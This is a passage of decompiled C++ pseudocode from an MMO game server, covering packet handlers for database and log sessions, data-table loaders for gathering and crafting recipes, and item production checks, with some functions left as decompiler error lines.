"GameDBSession::gds_DummyFunction"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; sprintf(buf, "%d/%d:%d"); AssertClass::ac_AssertFail(&shineassert, "GameDBSession::gds_DummyFunction", buf); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_DummyFunction"); __security_check_cookie((unsigned int)&_ ^ v5); } //----- (00458BE0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY(GameDBSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // edi@1 char *v4; // esi@1 CServerInfo::MY_SERVER *v5; // eax@1 __int16 v6; // cx@1 __int16 v7; // dx@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2050; v4[4] = 6; v4[3] = 2; v4[5] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nWorldNo); v5 = ZoneServer::zs_worlddata(&zoneserver); v6 = (unsigned __int8)v4[3]; v7 = (unsigned __int8)v4[4]; v4[6] = LOBYTE(v5->nZoneNo); *(_WORD *)(v4 + 7) = v7 + v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY : Packet Too Long", 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY"); } //----- (00458CF0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MISC_S2SCONNECTION_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { SocketBundle::sb_Varification((SocketBundle *)&sock2gameDB, this); SlotMachine::SlotMachineJackPotRanking::smjpr_RankingReq(&g_SlotMachineJackPotRanking); } //----- (00458D10) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MISC_HEARTBEAT_REQ(GameDBSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // esi@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "GameDBSession::wms_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"); } //----- (00458DE0) -------------------------------------------------------- #error "458DE0: undefined or illegal type '#593' (funcsize=53)" //----- (00458EC0) -------------------------------------------------------- void __thiscall GameLogSession::GameLogSession(GameLogSession *this) { GameLogSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.m_Connected_World = 0; v1->baseclass_0.m_Connected_Zone = 0; v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&GameLogSession::_vftable_; v1->baseclass_0.m_Connected_Server_ID = 3; } // 6403D4: using guessed type int (__stdcall *GameLogSession___vftable_)(int interval); //----- (00458EF0) -------------------------------------------------------- void __thiscall GameLogSession::_GameLogSession(GameLogSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&GameLogSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 6403D4: using guessed type int (__stdcall *GameLogSession___vftable_)(int interval); //----- (00458F00) -------------------------------------------------------- void __thiscall GameLogSession::gls_DummyFunction(GameLogSession *this, NETCOMMAND *netcmd, int len) { FunctionEntarance _; // [sp+4h] [bp-54h]@1 char buf[64]; // [sp+8h] [bp-50h]@1 unsigned int v5; // [sp+48h] [bp-10h]@1 int v6; // [sp+54h] [bp-4h]@1 v5 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "GameLogSession::gls_DummyFunction"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameLogSession::gls_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameLogSession::gls_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; sprintf(buf, "%d/%d:%d"); AssertClass::ac_AssertFail(&shineassert, "GameLogSession::gls_DummyFunction", buf); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameLogSession::gls_DummyFunction"); __security_check_cookie((unsigned int)&_ ^ v5); } //----- (00458FF0) -------------------------------------------------------- void __thiscall GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY(GameLogSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // edi@1 char *v4; // esi@1 CServerInfo::MY_SERVER *v5; // eax@1 __int16 v6; // cx@1 __int16 v7; // dx@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2050; v4[4] = 6; v4[3] = 3; v4[5] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nWorldNo); v5 = ZoneServer::zs_worlddata(&zoneserver); v6 = (unsigned __int8)v4[3]; v7 = (unsigned __int8)v4[4]; v4[6] = LOBYTE(v5->nZoneNo); *(_WORD *)(v4 + 7) = v7 + v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY : Packet Too Long", 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY"); } //----- (00459100) -------------------------------------------------------- void __thiscall GameLogSession::gls_NC_MISC_S2SCONNECTION_ACK(GameLogSession *this, NETCOMMAND *netcmd, int len) { SocketBundle::sb_Varification((SocketBundle *)&sock2gamelog, (GameDBSession *)this); } //----- (00459110) -------------------------------------------------------- void __thiscall GameLogSession::gls_NC_MISC_HEARTBEAT_REQ(GameLogSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // esi@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameLogSession::gls_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameLogSession::gls_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "GameLogSession::wms_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameLogSession::gls_NC_MISC_HEARTBEAT_REQ"); } //----- (004591E0) -------------------------------------------------------- void __thiscall AxialListNearScanNPC::AxialListNearScanNPC(AxialListNearScanNPC *this) { AxialListNearScanNPC *v1; // esi@1 v1 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0); v1->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanNPC::_vftable_; v1->_NpcID = -1; } // 6404E0: using guessed type int (__stdcall *AxialListNearScanNPC___vftable_)(int, int, int distancesquar); //----- (00459200) -------------------------------------------------------- void __thiscall AxialListNearScanNPC::_AxialListNearScanNPC(AxialListNearScanNPC *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanNPC::_vftable_; AxialListNearScanObjectType::_AxialListNearScanObjectType((AxialListNearScanObjectType *)this); } // 6404E0: using guessed type int (__stdcall *AxialListNearScanNPC___vftable_)(int, int, int distancesquar); //----- (00459210) -------------------------------------------------------- UseEffect::UIE_Functions *__thiscall UseEffect::UsedItemEffect::operator__(UseEffect::UsedItemEffect *this, unsigned __int16 itm) { UseEffect::UIE_Functions *result; // eax@2 if ( itm < this->uie_MaxItemID ) result = &this->uie_FuncStruct[itm]; else result = this->uie_FuncStruct; return result; } //----- (00459240) -------------------------------------------------------- void __thiscall AxialListNearScan::alns_Init(AxialListNearScan *this) { this->alns_bp = 0; } //----- (00459250) -------------------------------------------------------- SkillDataBox::SpecialSkill *__thiscall SkillDataBox::sdb_SpecSkillStruct(SkillDataBox *this) { return &this->sdb_SpecSkill; } //----- (00459260) -------------------------------------------------------- void __thiscall MobDataBox::mdb_iter_home(GatherProduce::RecipeBook *this, int *sub) { *sub = 0; } //----- (00459270) -------------------------------------------------------- GatherProduce::RecipeBook::ProductIndex *__thiscall GatherProduce::RecipeBook::rb_Get(GatherProduce::RecipeBook *this, int *sub) { return &this->rb_Array[*sub]; } //----- (00459290) -------------------------------------------------------- char __thiscall GatherProduce::RecipeBook::rb_Next(GatherProduce::RecipeBook *this, int *sub) { int v2; // edx@1 v2 = *sub + 1; *sub = v2; return v2 < this->rb_Number; } //----- (004592B0) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_CoolTimeCheck(CharaterSkillList *this, #593 *a2, unsigned __int16 skill) { CharaterSkillList::CharSkill *v3; // eax@1 char result; // al@2 v3 = CharaterSkillList::csl_GetSkillStruct(this, skill); if ( v3 ) { result = clockwatch.cw_CurrTick >= v3->cs_EndOfCooltime; } else { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_CoolTimeCheck : Invalid skill id", skill); result = 0; } return result; } //----- (00459320) -------------------------------------------------------- unsigned int __thiscall CharaterSkillList::csl_GetProduceTotoalMastery(CharaterSkillList *this, TotalMasteryType MasType) { unsigned int v2; // ebp@1 int v3; // ebx@1 int v4; // edi@1 unsigned __int16 **v5; // esi@2 CharaterSkillList::CharSkill *v6; // eax@3 CharaterSkillList *thisa; // [sp+10h] [bp-4h]@1 v2 = 0; v3 = 0; thisa = this; v4 = 0; do { v5 = (unsigned __int16 **)&recipebook.rb_Array[v4]; if ( !&recipebook.rb_Array[v4] ) break; v6 = CharaterSkillList::csl_GetSkillStruct(thisa, **v5); if ( v6 && *(_DWORD *)(*v5 + 195) == MasType ) v2 += v6->cs_Mastery; ++v3; ++v4; } while ( v3 < recipebook.rb_Number ); return v2; } //----- (00459380) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mob_CanGathered(#593 *this, #734 *a2, unsigned __int16 *itm) { return 2818; } //----- (00459390) -------------------------------------------------------- char __thiscall ItemProducer::ip_GetRawData(ItemProducer *this, int nIndex, unsigned __int16 *pItemID, int *pnLot) { char result; // al@2 char *v5; // eax@6 if ( this->ip_RawNumber > nIndex ) { if ( pItemID && pnLot ) { v5 = (char *)this + 128 * nIndex; *pItemID = *((_WORD *)v5 + 78); *pnLot = *((_DWORD *)v5 + 66); result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (004593E0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x3BFu, 0xAEu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (004594A0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x179Cu, 0x192u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00459560) -------------------------------------------------------- void __thiscall GatherProduce::GatherTable::GatherTable(GatherProduce::GatherTable *this) { GatherProduce::GatherTable *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->gt_BinData.baseclass_0); memset(&v1->gt_BinData.bdb_defaultblock, 0, 0xACu); HIWORD(v1->gt_BinData.bdb_defaultblock.Gauge) = 0; v1->gt_Array = 0; } //----- (00459590) -------------------------------------------------------- void __thiscall GatherProduce::GatherTable::gt_Load(GatherProduce::GatherTable *this) { GatherProduce::GatherTable *v1; // esi@1 int v2; // edi@1 unsigned int v3; // eax@1 void *v4; // eax@1 unsigned int v5; // ebx@4 void *v6; // eax@6 unsigned int v7; // eax@8 unsigned int v8; // eax@10 unsigned int v9; // eax@12 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GatherProduce::GatherTable::gt_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GatherProduce::GatherTable::gt_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; BinaryDataBox::bdb_ReadData(&v1->gt_BinData, "../9Data/Hero/Gather.shn"); v3 = v1->gt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v1->gt_Number = v3; v4 = operator new__(12 * v3); v1->gt_Array = (GatherProduce::GatherTable::GatherIndex *)v4; if ( v4 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "GatherProduce::GatherTable::gt_Load : Memory leak", 0); ShineExit("GatherProduce::GatherTable::gt_Load"); } v5 = 0; if ( v1->gt_Number > 0 ) { do { if ( v5 < v1->gt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord(&v1->gt_BinData.baseclass_0.baseclass_0, v5); else v6 = &v1->gt_BinData.bdb_defaultblock; v1->gt_Array[v2].index = (GatherInfo *)v6; v7 = BTree::operator__(&stru_131DE8B8, v1->gt_Array[v2].index->NeededTool0); if ( v7 == -1 ) LOWORD(v7) = -1; v1->gt_Array[v2].tool[0] = v7; v8 = BTree::operator__(&stru_131DE8B8, v1->gt_Array[v2].index->NeededTool1); if ( v8 == -1 ) LOWORD(v8) = -1; v1->gt_Array[v2].tool[1] = v8; v9 = BTree::operator__(&stru_131DE8B8, v1->gt_Array[v2].index->NeededTool2); if ( v9 == -1 ) LOWORD(v9) = -1; v1->gt_Array[v2].tool[2] = v9; BTree::bt_Insert(&skillnametree, v1->gt_Array[v2].index->Index, v1->gt_Array[v2].index->GatherID); ++v5; ++v2; } while ( v5 < v1->gt_Number ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GatherProduce::GatherTable::gt_Load"); } //----- (00459750) -------------------------------------------------------- void __thiscall GatherProduce::RecipeBook::RecipeBook(GatherProduce::RecipeBook *this) { GatherProduce::RecipeBook *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->rb_BinData.baseclass_0); memset(&v1->rb_BinData.bdb_defaultblock, 0, 0x190u); HIWORD(v1->rb_BinData.bdb_defaultblock.NeededMasteryGain) = 0; v1->rb_Array = 0; } //----- (00459780) -------------------------------------------------------- void __thiscall GatherProduce::RecipeBook::_RecipeBook(GatherProduce::RecipeBook *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->rb_Array ) operator delete(this->rb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (004597A0) -------------------------------------------------------- void __thiscall GatherProduce::RecipeBook::rb_Load(GatherProduce::RecipeBook *this) { GatherProduce::RecipeBook *v1; // esi@1 int v2; // eax@1 void *v3; // eax@1 unsigned int v4; // eax@4 int v5; // edi@5 void *v6; // eax@8 unsigned int v7; // eax@10 int v8; // ecx@12 int v9; // eax@12 int v10; // edx@12 int v11; // eax@12 signed int v12; // ebx@12 const char *v13; // ebp@13 const char v14; // al@13 unsigned int v15; // eax@15 const char **v16; // [sp+8h] [bp-38h]@12 int i; // [sp+Ch] [bp-34h]@4 int raw; // [sp+14h] [bp-2Ch]@12 int v19; // [sp+18h] [bp-28h]@12 int v20; // [sp+1Ch] [bp-24h]@12 int v21; // [sp+20h] [bp-20h]@12 int v22; // [sp+24h] [bp-1Ch]@12 int v23; // [sp+28h] [bp-18h]@12 int v24; // [sp+2Ch] [bp-14h]@12 int v25; // [sp+30h] [bp-10h]@12 int v26; // [sp+3Ch] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GatherProduce::RecipeBook::rb_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GatherProduce::RecipeBook::rb_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v26 = 0; BinaryDataBox::bdb_ReadData(&v1->rb_BinData, "../9Data/Hero/Produce.shn"); v2 = v1->rb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v1->rb_Number = v2; v3 = operator new__(76 * v2); v1->rb_Array = (GatherProduce::RecipeBook::ProductIndex *)v3; if ( v3 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "GatherProduce::RecipeBook::rb_Load : Memory leak", v3 != 0); ShineExit("GatherProduce::RecipeBook::rb_Load"); } v4 = 0; i = 0; if ( v1->rb_Number > 0 ) { v5 = 0; while ( 1 ) { if ( v4 < v1->rb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord(&v1->rb_BinData.baseclass_0.baseclass_0, v4); else v6 = &v1->rb_BinData.bdb_defaultblock; v1->rb_Array[v5].index = (ProduceInfo *)v6; v7 = BTree::operator__(&stru_131DE8B8, v1->rb_Array[v5].index->Product); if ( v7 == -1 ) LOWORD(v7) = -1; v1->rb_Array[v5].product = v7; v1->rb_Array[v5].productlot = v1->rb_Array[v5].index->Lot; v8 = (int)&v1->rb_Array[v5]; v9 = *(_DWORD *)v8; raw = *(_DWORD *)v8 + 102; v19 = v9 + 138; v20 = v9 + 174; v21 = v9 + 210; v22 = v9 + 246; v23 = v9 + 282; v24 = v9 + 318; v10 = v9 + 354; *(_DWORD *)(v8 + 16) = *(_DWORD *)(v9 + 134); v11 = (int)&v1->rb_Array[v5]; v25 = v10; *(_DWORD *)(v11 + 24) = *(_DWORD *)(*(_DWORD *)v11 + 170); v1->rb_Array[v5].raw[2].quantity = v1->rb_Array[v5].index->Quantity2; v1->rb_Array[v5].raw[3].quantity = v1->rb_Array[v5].index->Quantity3; v1->rb_Array[v5].raw[4].quantity = v1->rb_Array[v5].index->Quantity4; v1->rb_Array[v5].raw[5].quantity = v1->rb_Array[v5].index->Quantity5; v1->rb_Array[v5].raw[6].quantity = v1->rb_Array[v5].index->Quantity6; v1->rb_Array[v5].raw[7].quantity = v1->rb_Array[v5].index->Quantity7; v12 = 0; v16 = (const char **)&raw; do { v13 = *v16; v14 = **v16; if ( v14 != 45 && v14 ) { v15 = BTree::operator__(&stru_131DE8B8, *v16); if ( v15 == -1 ) LOWORD(v15) = -1; v1->rb_Array[v5].raw[v12].item = v15; if ( v1->rb_Array[v5].raw[v12].item == -1 ) { AssertClass::ac_AssertFail(&shineassert, "GatherProduce::RecipeBook::rb_Load : Invalid Raw", v13); ShineExit("GatherProduce::RecipeBook::rb_Load"); } } else { v1->rb_Array[v5].raw[v12].item = -1; } ++v12; ++v16; } while ( v12 < 8 ); ++v5; ++i; if ( i >= v1->rb_Number ) break; v4 = i; } } qsort(v1->rb_Array, v1->rb_Number, 0x4Cu, GatherProduce::RecipeBook::rb_Compare); --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GatherProduce::RecipeBook::rb_Load"); } //----- (00459AD0) -------------------------------------------------------- #error "459AD0: undefined or illegal type '#734' (funcsize=80)" //----- (00459C50) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShinePlayer::sp_GatherCheck(void *this, int gathertype, int picker) { void *v3; // ebp@1 int j; // eax@1 char *v5; // eax@3 int v6; // edi@5 __int16 v7; // si@6 int v8; // ecx@7 int v9; // eax@8 int toolnum; // [sp+10h] [bp-34h]@5 unsigned int i; // [sp+14h] [bp-30h]@1 signed int v13; // [sp+18h] [bp-2Ch]@5 int v14; // [sp+1Ch] [bp-28h]@2 int ibii; // [sp+24h] [bp-20h]@7 char *v16; // [sp+28h] [bp-1Ch]@7 int v17; // [sp+2Ch] [bp-18h]@10 int v18; // [sp+30h] [bp-14h]@10 __int16 v19; // [sp+34h] [bp-10h]@10 int v20; // [sp+40h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GatherCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GatherCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; *(_WORD *)picker = -1; i = 0; for ( j = 0; ; j = v14 + 12 ) { v14 = j; if ( i >= gathertable.gt_Number ) break; v5 = (char *)gathertable.gt_Array + j; if ( !v5 ) break; if ( *(_DWORD *)(*(_DWORD *)v5 + 34) == gathertype ) { toolnum = 0; v6 = (int)(v5 + 4); v13 = 3; do { v7 = *(_WORD *)v6; if ( *(_WORD *)v6 == -1 ) { ++toolnum; } else { v8 = (int)((char *)v3 + 35680); ibii = (int)&ItemBoxIterator::_vftable_; v16 = (char *)v3 + 35680; if ( v3 == (void *)-142688 ) v9 = (*(int (**)(void))(*(_DWORD *)v8 + 8))(); else v9 = (*(int (__stdcall **)(char *))(*(_DWORD *)v8 + 4))((char *)v3 + 142688); v18 = v9; ibii = (int)&ItemBoxIterIdent::_vftable_; v19 = v7; LOBYTE(v20) = 1; v17 = 0; if ( (unsigned __int8)ItemBoxIterIdent::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { if ( *(_WORD *)picker == -1 ) *(_WORD *)picker = *(_WORD *)v6; ++toolnum; } LOBYTE(v20) = 0; ibii = (int)&ItemBoxIterator::_vftable_; } v6 += 2; --v13; } while ( v13 ); if ( toolnum == 3 ) { --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GatherCheck"); return 2817; } } ++i; } --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GatherCheck"); return 2828; } // 63918C: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (00459E30) -------------------------------------------------------- #error "459E30: undefined or illegal type '#734' (funcsize=111)" //----- (0045A000) -------------------------------------------------------- #error "45A000: undefined or illegal type '#593' (funcsize=107)" //----- (0045A1C0) -------------------------------------------------------- #error "45A1C0: undefined or illegal type '#593' (funcsize=223)" //----- (0045A4F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@5 int v6; // ST04_4@5 int v7; // eax@5 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@5 int v9; // [sp+20h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; if ( !(_S19_14 & 1) ) { _S19_14 |= 1u; cmc_40.cmc_AllowMode = 6; atexit(_E20_12); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_40.cmc_AllowMode && *((_DWORD *)v4 + 1796) ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8250; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v6 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v9) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 0, 0, (int)&alchat, 0, 65535); *((_DWORD *)v4 + 1796) = 0; LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD"); } //----- (0045A640) -------------------------------------------------------- #error "45A640: undefined or illegal type '#734' (funcsize=44)" //----- (0045A700) -------------------------------------------------------- void __thiscall ItemProducer::_ItemProducer(ItemProducer *this) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemProducer::~ItemProducer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemProducer::~ItemProducer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::~ItemProducer"); } //----- (0045A740) -------------------------------------------------------- unsigned __int16 __thiscall ItemProducer::ip_WhereProductStore(ItemProducer *this) { ItemProducer *v1; // ebp@1 int v2; // eax@1 ItemDataBox::ItemDataBoxIndex *v3; // esi@1 GatherProduce::RecipeBook::ProductIndex *v4; // eax@1 unsigned __int16 result; // ax@2 ChargedEffectContainer *v6; // edx@3 __int16 v7; // bx@3 int v8; // ecx@3 int v9; // eax@4 int v10; // eax@6 int v11; // ebx@7 int v12; // eax@9 ChargedEffectContainer *v13; // eax@11 int v14; // ecx@11 int v15; // eax@12 GatherProduce::RecipeBook::ProductIndex *v16; // esi@13 int v17; // eax@13 InventoryLocking::InventoryCellLock *v18; // eax@15 int v19; // ST0C_4@16 CServerInfo::MY_SERVER *v20; // eax@16 GatherProduce::RecipeBook::ProductIndex *v21; // eax@16 ItemAttributeClass *v22; // esi@16 ItemBoxIterator *v23; // edx@16 int *uii; // [sp+14h] [bp-48h]@6 int v25; // [sp+18h] [bp-44h]@6 int v26; // [sp+1Ch] [bp-40h]@6 InventoryLocking::UnlockedInventoryIterator thisa; // [sp+20h] [bp-3Ch]@15 int ibie; // [sp+2Ch] [bp-30h]@11 int v29; // [sp+30h] [bp-2Ch]@11 int v30; // [sp+38h] [bp-24h]@15 int ibii; // [sp+3Ch] [bp-20h]@3 int v32; // [sp+40h] [bp-1Ch]@3 int v33; // [sp+48h] [bp-14h]@6 __int16 v34; // [sp+4Ch] [bp-10h]@6 int v35; // [sp+58h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemProducer::ip_WhereProductStore"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemProducer::ip_WhereProductStore"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->ip_Skill->product; v35 = 0; v3 = ItemDataBox::operator__(&itemdatabox, v2); v4 = v1->ip_Skill; if ( v3 ) { v6 = v1->ip_ChargedEffectContainer; v7 = v4->product; v8 = (int)v1->ip_Inventory; ibii = (int)&ItemBoxIterator::_vftable_; v32 = v8; if ( v6 ) v9 = (*(int (__stdcall **)(ChargedEffectContainer *))(*(_DWORD *)v8 + 4))(v6); else v9 = (*(int (**)(void))(*(_DWORD *)v8 + 8))(); v33 = v9; ibii = (int)&ItemBoxIterIdent::_vftable_; v34 = v7; v10 = 